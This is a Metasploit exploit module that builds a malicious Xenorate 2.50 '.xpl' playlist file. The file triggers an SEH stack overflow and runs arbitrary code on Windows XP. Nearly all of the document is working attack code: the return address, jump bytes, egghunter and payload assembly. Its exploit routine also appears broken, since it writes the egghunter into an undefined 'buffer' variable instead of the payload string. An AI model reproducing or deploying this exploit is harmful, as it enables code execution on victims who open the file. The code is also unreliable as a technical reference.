require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh
        include Msf::Exploit::Egghunter 
       
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH)',
   'Description'    => %q{
     This module exploits a stack overflow in Xenorate 2.50
     By creating a specially crafted xpl playlist file, an an attacker may be able
     to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'loneferret, original by  germaya_x' ],
   'Version'        => '$Revision:  $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/10371' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },     
   'Payload'        =>
    {
     'Space'    => 5100,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'   =>  'True',
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret => bass.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 10 2009',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME',   [ false, 'The file name.',  'evil.xpl']),
    ], self.class)

 end

 def exploit

                # Unleash the Egghunter!
                eh_stub, eh_egg = generate_egghunter

  sploit = rand_text_alpha_upper(88)
  sploit << "\xEB\x06\x90\x90"
  sploit << [target.ret].pack('V')
  sploit << make_nops(20)
                buffer << eh_stub
                buffer << rand_text_alpha_upper(2000)  
                buffer << eh_egg * 2  
  sploit << payload.encoded
 
  xpl = sploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(xpl)  

 end

end